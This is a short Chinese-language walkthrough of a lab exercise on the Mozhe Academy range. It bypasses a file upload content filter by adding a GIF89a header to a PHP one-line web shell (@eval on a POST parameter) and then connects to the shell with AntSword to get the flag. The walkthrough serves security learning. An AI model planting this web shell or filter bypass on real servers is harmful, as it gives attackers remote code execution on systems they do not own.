文件上传漏洞—简单利用(墨者学院靶场)
说明:文章中涉及的网站信息皆是墨者学院靶场环境,不涉及互联网真实环境,仅供学习。
上传思路:
步骤一:判断网站支持文件格式。
从网站功能点或者题目说明可以判断处,该功能点支持上传图片格式(JPG,GIF和PNG等)文件,尝试上传文件名为poc.jpg和poc.php的图片:判断网站支持JPG格式文件上传
poc.jpg格式上传成功:
poc.php格式上传失败:
步骤二:判断网站是黑名单,白名单还是文件内容检测方式拦截。
通过上传畸形文件名poc.php.jar,文件上传失败,可以判断此处大概率为白名单方式或文件内容检测方式(因为如果是黑名单方式拦截的话,不会对很多畸形扩展名进行拦截)
步骤三:判断是否为文件内容拦截。
创建文件名为poc.jpg的文件,文件内容为普通的字符串,文件上传失败,可以判断此网站的拦截方式为文件内容方式拦截。
文件内容过滤:
1,黑名单方式。脚本字符串检测,例如检测<?php,<%等脚本语言的文件头
2,白名单方式。文件头特征文件方式,例如GIF图片文件头存在GIF89a特征
步骤四:判断文件文件过滤方式
通过创建文件poc.gif,文件头部添加GIF文件头特征GIF89a,其他内容为随机字符串,文件上传成功,判断网站的过滤方式为文件内容白名单过滤
文件上传成功:
步骤5:尝试绕过网站过滤方式,上传脚本后缀文件
创建名称为poc.php的文件,内容为GIF89a <?php @eval($_POST["x"]); ?>,文件上传成功
步骤6:使用中国蚁剑连接网站,网站连接成功,拿到FLAG
涉及学习内容文章:
Web安全—文件上传漏洞
常见图片文件头特征
文件上传漏洞—一句话图片马制作
Web安全深度剖析—上传漏洞